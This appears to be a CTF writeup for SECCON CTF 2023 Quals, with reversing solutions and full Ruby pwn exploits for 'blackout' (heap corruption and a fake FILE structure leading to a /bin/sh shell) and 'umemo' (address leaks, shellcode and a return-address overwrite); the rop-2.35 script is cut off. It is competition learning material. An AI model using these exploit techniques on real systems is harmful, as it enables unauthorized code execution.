鴨川デル太
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    [toc] # SECCON CTF 2023 Quals Writeup ## Misc ### readme 2023 /proc/self/syscallに記載されたアドレスからflag.txtがマップされたアドレスの差分が0xe9f83 /proc/self/syscallを読み、0xe9f83を足したアドレスのファイルを /proc/self/map_files/ から読むことでflagが出てくる。 ``` b'0 0x7 0x55fd3b6a06b0 0x400 0x2 0x0 0x0 0x7fffacc82708 0x7f379397507d\n' 7f379397507d + 0xe9f83 -> /proc/self/map_files/7f3793a5f000-7f3793a60000 ``` SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)} ## Rev ### jumpout 0x4010と0x4030のデータを比べると、どちらも長さ28バイトの配列であり、さらにそれぞれの上位ビットのパターンが一致しているため、この二つと何かしらをXORすることでflagが得られると推測した。 アドレス0x1430の処理から0x55とXORしていることが推測できる。 ``` .text:0000000000001430 sub_1430 proc near ; DATA XREF: sub_1360+3A↑o .text:0000000000001430 endbr64 .text:0000000000001434 mov rcx, [rsp+rax*8+0] .text:0000000000001438 add edx, 1 .text:000000000000143B xor r8d, 55h .text:000000000000143F lea eax, [rdx-1] .text:0000000000001442 jmp rcx .text:0000000000001442 sub_1430 endp .text:0000000000001442 ``` ここで、二つのデータと0x55をXORして見たところ以下のデータが得られた。 ``` b'SDA@KK}m}dzTxllcuNweqgo`p|h~a' ``` このデータの先頭7バイトと'SECCON{'という文字列をXORすると、`b'\x00\x01\x02\x03\x04\x05\x06'`というバイト列が得られた。 このことから、二つのデータと0x55に加えて先頭から0, 1, 2, ...とXORすることでflagが得られる。 ```python= d1 = bytearray([0xF6, 0xF5, 0x31, 0xC8, 0x81, 0x15, 0x14, 0x68, 0xF6, 0x35, 0xE5, 0x3E, 0x82, 0x09, 0xCA, 0xF1, 0x8A, 0xA9, 0xDF, 0xDF, 0x33, 0x2A, 0x6D, 0x81, 0xF5, 0xA6, 0x85, 0xDF, 0x17]) d2 = bytearray([0xF0, 0xE4, 0x25, 0xDD, 0x9F, 0x0B, 0x3C, 0x50, 0xDE, 0x04, 0xCA, 0x3F, 0xAF, 0x30, 0xF3, 0xC7, 0xAA, 0xB2, 0xFD, 0xEF, 0x17, 0x18, 0x57, 0xB4, 0xD0, 0x8F, 0xB8, 0xF4, 0x23]) flag = '' for i in range(len(d1)): flag += chr(d1[i] ^ d2[i] ^ i ^ 0x55) print(flag) ``` ``` SECCON{jump_table_everywhere} ``` ### optinimize Using included debug symbols recover two functions that are using `https://github.com/nim-lang/bigints/tree/master` library: ```python= def pisot_number(x): BIG0 = 0 BIG2 = 2 BIG3 = 3 while x > 2: TMP = BIG3 + BIG0 BIG3 = BIG0 BIG0 = BIG2 BIG2 = TMP x -= 1 return BIG2 def nthprime_slow(x): STATE = 0 i = 0 while i < x: STATE += 1 tmp = pisot_number(STATE) res = tmp % STATE if res == 0: i += 1 return STATE ``` Identify that `nthprime_slow` is not exactly Nth Prime and gets shifted as input gets bigger. Use Perrin pseudoprimes to calculate expected shift: https://oeis.org/search?q=3%2C2%2C5%2C5%2C7%2C10%2C12%2C17%2C22%2C29%2C39%2C51%2C68%2C90%2C119%2C158%2C209&language=english&go=Search ```python= from primesieve import * perrin_primes = [271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903] ENC = [ 0x3C, 0xF4, 0x1A, 0xD0, 0x8A, 0x17, 0x7C, 0x4C, 0xDF, 0x21, 0xDF, 0xB0, 0x12, 0xB8, 0x4E, 0xFA, 0xD9, 0x2D, 0x66, 0xFA, 0xD4, 0x95, 0xF0, 0x66, 0x6D, 0xCE, 0x69, 0x00, 0x7D, 0x95, 0xEA, 0xD9, 0x0A, 0xEB, 0x27, 0x63, 0x75, 0x11, 0x37, 0xD4 ] KEY = [ 0x4A, 0x55, 0x6F, 0x79, 0x80, 0x95, 0x0AE, 0x0BF, 0x0C7, 0x0D5, 0x306, 0x1AC8, 0x24BA, 0x3D00, 0x4301, 0x5626, 0x6AD9, 0x7103, 0x901B, 0x9E03, 0x1E5FB6, 0x26F764, 0x30BD9E, 0x407678, 0x5B173B, 0x6FE3B1, 0x78EF25, 0x858E5F, 0x98C639, 0x0AD6AF6, 0x1080096, 0x18E08CD, 0x1BB6107, 0x1F50FF1, 0x25C6327, 0x2A971B6, 0x2D68493, 0x362F0C0, 0x3788EAD, 0x3CAA8ED ] def main(): flag = bytearray(len(ENC)) for i in range(len(ENC)): val = nth_prime(KEY[i]-1) print(sum([1 for x in perrin_primes if x < val])) val = nth_prime(KEY[i]-1-sum([1 for x in perrin_primes if x < val])) flag[i] = (val & 0xff) ^ ENC[i] print(flag) if __name__ == '__main__': main() ``` Flag: `SECCON{3b4297373223a58ccf3dc06a6102846f}` ### Sickle Inside picked buffer, we can change `\x07builtin` `\x03int` to our local type and intercept which values are passed to it. Using this info, we can recover logic behind flag decryption. It will include XOR + POW + __EQ__ operations on 8byte parts of the flag. For POW we would also need to find modular inverse. ``` def pow(a1, a2, a4): print('pow', a1, a2, a4, builtins.pow(a1, a2, a4)) return builtins.pow(a1, a2, a4) payload = payload.replace(b'\x08builtins\x8c\x03pow', b'\x07problem\x8c\x03pow') ``` ``` import builtins import pickle, io import gmpy2 N = 18446744073709551557 D = int(gmpy2.invert(65537, N - 1)) flag = b'' flag += ((pow(8215359690687096682, D, N)) ^ 1244422970072434993).to_bytes(8, 'little') flag += ((pow(1862662588367509514, D, N)) ^ 8215359690687096682).to_bytes(8, 'little') flag += ((pow(8350772864914849965, D, N)) ^ 1862662588367509514).to_bytes(8, 'little') flag += ((pow(11616510986494699232, D, N)) ^ 8350772864914849965).to_bytes(8, 'little') flag += ((pow(3711648467207374797, D, N)) ^ 11616510986494699232).to_bytes(8, 'little') flag += ((pow(9722127090168848805, D, N)) ^ 3711648467207374797).to_bytes(8, 'little') flag += ((pow(16780197523811627561, D, N)) ^ 9722127090168848805).to_bytes(8, 'little') flag += ((pow(18138828537077112905, D, N)) ^ 16780197523811627561).to_bytes(8, 'little') print(flag) ``` Flag: `SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}` ### xuyao 暗号化のような処理が行われている。gdbscriptを用いて各関数の入出力をtraceした。traceおよびdisasmをもとに、バイナリと同じ動作をするpythonスクリプトを作成した。 ```python= rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol32 = lambda val, r_bits: rol(val, r_bits, 32) ror32 = lambda val, r_bits: ror(val, r_bits, 32) SBOX = [ 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 ] enc = b''.join([ b'\xFE\x60\xA8\xC0\x3B\xFE\xBC\x66\xFC\x9A\x9B\x31\x9A\xD8\x03\xBB\xA9\xE1\x56\xFC\xFC\x11\x9F\x89\x5F\x4D\x9F\xE0\x9F\xAE\x2A\xCF', b'\x5E\x73\xCB\xEC\x3F\xFF\xB9\xD1\x99\x44\x1B\x9A\x79\x79\xEC\xD1\xB4\xFD\xEA\x2B\xE2\xF1\x1A\x70\x76\x3C\x2E\x7F\x3F\x3B\x7B\x66', b'\xA3\x4B\x1B\x5C\x0F\xBE\xDD\x98\x5A\x5B\xD0\x0A\x3D\x7E\x2C\x10\x56\x2A\x10\x87\x5D\xD9\xB9\x7F\x3E\x2E\x86\xB7\x17\x04\xDF\xB1', b'\x27\xC4\x47\xE2\xD9\x7A\x9A\x48\x7C\xDB\xC6\x1D\x3C\x00\xA3\x21']) KEY = [ 0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993, 0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503, 0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae, 0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6 ] def tnls(val): res = 0 res |= SBOX[(val >> 0x00) & 0xff] << 0x00 res |= SBOX[(val >> 0x08) & 0xff] << 0x08 res |= SBOX[(val >> 0x10) & 0xff] << 0x10 res |= SBOX[(val >> 0x18) & 0xff] << 0x18 return res def els(v1): tmp = v1 tmp ^= rol32(v1, 3) tmp ^= rol32(v1, 14) tmp ^= rol32(v1, 15) tmp ^= rol32(v1, 9) return tmp def es(v1): tmp = tnls(v1) return els(tmp) def test(): d = [0x30313233, 0x34353637, 0x38396162, 0x63646566] for i in range(32): tmp = 0 for x in range(1, 4): tmp ^= d[x] tmp ^= KEY[i] v1 = es(tmp) d[0] ^= v1 d = d[1:] + d[:1] print(list(map(hex, d))) def main(): test() if __name__ == '__main__': main() ``` このスクリプトをもとにflagを復元するスクリプトを作成した。 ```python= from pwn import p32, u32 rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol32 = lambda val, r_bits: rol(val, r_bits, 32) ror32 = lambda val, r_bits: ror(val, r_bits, 32) SBOX = [ 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 ] enc = b''.join([ b'\xFE\x60\xA8\xC0\x3B\xFE\xBC\x66\xFC\x9A\x9B\x31\x9A\xD8\x03\xBB\xA9\xE1\x56\xFC\xFC\x11\x9F\x89\x5F\x4D\x9F\xE0\x9F\xAE\x2A\xCF', b'\x5E\x73\xCB\xEC\x3F\xFF\xB9\xD1\x99\x44\x1B\x9A\x79\x79\xEC\xD1\xB4\xFD\xEA\x2B\xE2\xF1\x1A\x70\x76\x3C\x2E\x7F\x3F\x3B\x7B\x66', b'\xA3\x4B\x1B\x5C\x0F\xBE\xDD\x98\x5A\x5B\xD0\x0A\x3D\x7E\x2C\x10\x56\x2A\x10\x87\x5D\xD9\xB9\x7F\x3E\x2E\x86\xB7\x17\x04\xDF\xB1', b'\x27\xC4\x47\xE2\xD9\x7A\x9A\x48\x7C\xDB\xC6\x1D\x3C\x00\xA3\x21']) KEY = [ 0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993, 0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503, 0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae, 0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6 ] def tnls(val): res = 0 res |= SBOX[(val >> 0x00) & 0xff] << 0x00 res |= SBOX[(val >> 0x08) & 0xff] << 0x08 res |= SBOX[(val >> 0x10) & 0xff] << 0x10 res |= SBOX[(val >> 0x18) & 0xff] << 0x18 return res def els(v1): tmp = v1 tmp ^= rol32(v1, 3) tmp ^= rol32(v1, 14) tmp ^= rol32(v1, 15) tmp ^= rol32(v1, 9) return tmp def es(v1): tmp = tnls(v1) return els(tmp) def test(): d = [0x30313233, 0x34353637, 0x38396162, 0x63646566] for i in range(32): tmp = 0 for x in range(1, 4): tmp ^= d[x] tmp ^= KEY[i] v1 = es(tmp) d[0] ^= v1 d = d[1:] + d[:1] print(list(map(hex, d))) def test_dec(): d = [0xfc46586d, 0x46363d11, 0xf84bee2a, 0xb51a3b07] for i in range(31, -1, -1): d = d[-1:] + d[:-1] tmp = 0 for x in range(1, 4): tmp ^= d[x] tmp ^= KEY[i] v1 = es(tmp) d[0] ^= v1 print(list(map(hex, d))) def decrypt_block(d): assert(len(d) == 4) d = list(d) for i in range(31, -1, -1): d = d[-1:] + d[:-1] tmp = 0 for x in range(1, 4): tmp ^= d[x] tmp ^= KEY[i] v1 = es(tmp) d[0] ^= v1 return d def solve(): enc_arr = [ u32(enc[i:i+4], endianness='big') for i in range(0, len(enc), 4) ] flag = b'' for i in range(0, len(enc_arr), 4): flag += b''.join([p32(b, endianness='big') for b in decrypt_block(enc_arr[i:i+4][::-1])]) print(flag) def main(): solve() if __name__ == '__main__': main() ``` ``` b'Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}\n\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' ``` ### Perfect Blu Extract ISO file -> open it as BlueRay folder in VideoLan Press buttons in flag checker -> in ProcMon see how VideoLan reads different files in STREAM folder. Identify that in order to obtain flag we need to get files to be read in order 00000.xxx -> 00001.xxx -> 00002.xxx For automation use clicker-bruteforce script: ProcMon output redirected to `procmon_output.PML` ``` import os import time import win32api, win32con alpha = '1234567890QWERTYUIOPASDFGHJKL{ZXCVBNM_-}' poses = [ [233, 462], [332, 462], [435, 466], [514, 474], [616, 467], [699, 468], [804, 471], [885, 468], [973, 472], [1051, 472], [250, 545], [332, 548], [413, 550], [523, 550], [617, 554], [705, 555], [788, 557], [883, 557], [978, 556], [1055, 558], [259, 646], [323, 637], [435, 640], [502, 640], [630, 646], [701, 648], [786, 649], [876, 644], [960, 640], [1056, 642], [252, 741], [338, 737], [420, 731], [495, 731], [611, 734], [709, 727], [790, 726], [875, 736], [973, 727], [1050, 732] ] #while True: # ox, oy = win32api.GetCursorPos() # print(ox, oy) # input('next?') def click(x, y): win32api.SetCursorPos((x, y)) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0) flag = '' expected = 1 while True: for i in range(0, len(poses)): click(86, 1018) # VideoLAN stop time.sleep(0.2) click(21, 1019) # VideoLAN play time.sleep(1) click(poses[i][0], poses[i][1]) time.sleep(1) with open(r'.\procmon_output.PML', 'rb') as fp: if fp.read().find(b'%05i.' % expected) != -1: os.remove(r'.\BDMV\PLAYLIST\00000.mpls') os.rename(r'.\BDMV\PLAYLIST\%05i.mpls' % expected, r'.\BDMV\PLAYLIST\00000.mpls') flag += alpha[i] expected += 1 print(expected, alpha[i], flag) break ``` Flag: `SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}` ## Pwn ### blackout `letter_blackout`関数内の`memmem`の戻り値が32bit幅になってしまうので、0x100000000バイト分のチャンクを確保した後に`letter_blackout`関数を実行すると意図しないアドレスへの書き込みが行われる ```ruby= #coding:ascii-8bit require "pwnlib" # https://github.com/Charo-IT/pwnlib class PwnTube def recv_until_prompt recv_until("> ") end end class Exploit attr_reader :tube, :host, :port attr_reader :offset, :got, :libc_offset def initialize(remote) @remote = remote if remote? @host, @port = "blackout.seccon.games 9999".split else @host = "localhost" @port = 11111 end @port = @port&.to_i @libc_offset = { "main_arena" => 0x219c80, "system" => 0x50d60, "stderr" => 0x21a6a0, "_IO_wfile_jumps" => 0x2160c0, } @offset = { } @got = { } end def remote? @remote end def write(index, size, data) tube.recv_until_prompt tube.sendline("1") tube.recv_until("Index: ") tube.sendline("#{index}") tube.recv_until("Size: ") tube.sendline("#{size}") tube.recv_until("String: ") tube.send(data) end def blackout(index, word) tube.recv_until_prompt tube.sendline("2") tube.recv_until("Index: ") tube.sendline("#{index}") tube.recv_until("Word to redact: ") tube.send(word) end def discard(index) tube.recv_until_prompt tube.sendline("3") tube.recv_until("Index: ") tube.sendline("#{index}") end def run PwnTube.open(host, port){|t| @tube = t puts "[*] heap spray" write(0, 0xfff7, "hoge\n") 0xfffe.times{|i| print "0x%x\r" % i if i % 0x10 == 0 write(i < 6 ? (i + 1) : 6, 0xfff7, "system\n") } write(7, 0xeff7, "hoge\n") write(7, 0x1ff7, "A" * 0xff8 + "AAB\n") puts puts "[*] overwrite chunk size" blackout(7, "B\n") puts "[*] free victim chunk" discard(0) puts "[*] leak libc base" write(0, 0xfff7, "hoge\n") blackout(1, "114514\n") libc_base = tube.recv_capture(/\[Redacted\]\n(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60 puts "libc base = 0x%x" % libc_base puts "[*] leak heap base" write(2, 5, "hoge\n") write(3, 5, "hoge\n") discard(3) discard(2) blackout(1, "114514\n") heap_base = tube.recv_capture(/\[Redacted\]\n(.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0].tap{|a| b = (a ^ 0x2c0) break ((b ^ (b >> 12)) >> 12 << 12) ^ 0x2c0 } - 0x102c0 puts "heap base = 0x%x" % heap_base puts "[*] overwrite tcache list" write(2, 0xffb7, "hoge\n") # 偽チャンクの後ろのチャンクのinuse bitを復活させる 0x28.times{ write(2, 0xfff7, "hoge\n") } blackout(7, "B\n") discard(0) payload = "" # heap_base + 0x2a0 payload << "".ljust(0xe0, "\x00").tap{|a| # fake FILE structure a[0, 16] = " /bin/sh".ljust(16, "\x00") a[0xc0, 8] = [-1].pack("Q") # mode a[0x28, 8] = [1].pack("Q") # _IO_write_ptr a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q") # vtable a[0xa0, 8] = [heap_base + 0x2a0 + 0xe0].pack("Q") # _wide_data } payload << "".ljust(0xe8, "\x00").tap{|a| # fake _wide_data structure a[0xe0, 8] = [heap_base + 0x2a0 + 0xe0 + 0xe8 - 0x68].pack("Q") # _wide_vtable } payload << [libc_base + libc_offset["system"]].pack("Q") # payload << [0xdeadbeef].pack("Q") write(2, 0xfef7, payload + "\n") payload = "" payload << "\x00" * 0xf0 payload << [0, 0x21].pack("Q*") payload << [(libc_base + libc_offset["stderr"] + 0x68 - 8) ^ ((heap_base + 0x102a0) >> 12)].pack("Q*") write(3, 0x4f7, payload + "\n") puts "[*] overwrite stderr->_chain" write(4, 5, "hoge\n") write(4, 0x17, "\x00" * 8 + [heap_base + 0x2a0].pack("Q") + "\n") puts "[*] launch shell" tube.recv_until_prompt tube.sendline("114514") tube.interactive } end end Exploit.new(ARGV[0] == "r").run ``` flag: `SECCON{D0n't_f0Rg3T_fuNcT10n_d3cL4r4T10n}` ### umemo `free_space`で操作できる領域の中に`memo`が含まれている ```ruby= #coding:ascii-8bit require "pwnlib" # https://github.com/Charo-IT/pwnlib class PwnTube def recv_until_prompt recv_until("> ") end end class String def tty_safe? self !~ /[\x03\x04\x11\x13\x15\x1a\x1c\x7f]/ # こっちから送る文字列にこれらの文字が入っているとバグる end end class Exploit attr_reader :tube, :host, :port attr_reader :offset, :got, :libc_offset def initialize(remote) @remote = remote if remote? @host, @port = "ukqmemo.seccon.games 6318".split else @host = "localhost" @port = 11111 end @port = @port&.to_i @libc_offset = { "environ" => 0x185160 } @offset = { } @got = { } end def remote? @remote end def fixed_memo tube.recv_until_prompt tube.sendline("1") end def freespace tube.recv_until_prompt tube.sendline("2") end def fixed_memo_read(index) tube.recv_until_prompt tube.sendline("1") tube.recv_until("Index: ") tube.sendline("#{index}") end def fixed_memo_write(index, data) tube.recv_until_prompt tube.sendline("2") tube.recv_until("Index: ") tube.sendline("#{index}") tube.recv_until("Input: ") tube.send(data) end def free_memo_read(offset, size) tube.recv_until_prompt tube.sendline("1") tube.recv_until("Offset: ") tube.sendline("#{offset}") tube.recv_until("Size: ") tube.sendline("#{size}") end def free_memo_write(offset, size, data) tube.recv_until_prompt tube.sendline("2") tube.recv_until("Offset: ") tube.sendline("#{offset}") tube.recv_until("Size: ") tube.sendline("#{size}") tube.recv_until("Input: ") tube.send(data) end def back_to_menu tube.recv_until_prompt tube.sendline("3") end def solve_pow cmd = tube.recv_until(/hashcash .+\n/m) puts cmd result = `#{cmd}` puts result tube.send(result) end def run PwnTube.open(host, port){|t| @tube = t solve_pow if remote? tube.recv_until("buildroot login: ") tube.sendline("ctf") puts "[*] leak mapped address" freespace free_memo_read(0x40000000 - 0x1000 - 8, 0x10) mapped = tube.recv_capture(/Output: \x00{8}(.{8})/m)[0].unpack("Q")[0] - 0x100 libc_base = mapped + 0x3000 puts "mapped = 0x%x" % mapped puts "libc base = 0x%x" % libc_base puts "[*] leak stack address" payload = "" payload << "\x00" * 8 payload << [libc_base + libc_offset["environ"]].pack("Q")[0, 5] raise unless payload.tty_safe? free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04") back_to_menu fixed_memo fixed_memo_read(0) environ = tube.recv_capture(/Output: (.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] puts "environ = 0x%x" % environ puts "[*] send shellcode" back_to_menu freespace payload = "" payload << "\x00" * 8 payload << [environ].pack("Q")[0, 5] raise unless payload.tty_safe? free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04") back_to_menu fixed_memo payload = "" payload << PwnLib.shellcode_x86_64 raise unless payload.tty_safe? fixed_memo_write(0, payload + "\x04") puts "[*] overwrite return address" back_to_menu freespace payload = "" payload << "\x00" * 8 payload << [environ - 0x128].pack("Q")[0, 5] raise unless payload.tty_safe? free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04") back_to_menu fixed_memo payload = "" payload << [environ].pack("Q")[0, 5] raise unless payload.tty_safe? fixed_memo_write(0, payload + "\x04") tube.interactive } end end Exploit.new(ARGV[0] == "r").run ``` flag: `SECCON{k3rn3l_bug5_5p1ll_0v3r_1n70_u53r_pr0gr4m5}` ### rop-2.35 ```python= #!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') binary = './chall' elf = ELF(binary) context(os='linux', arch=elf.arch) # context(log_level='debug') # output verbose log RHOST = 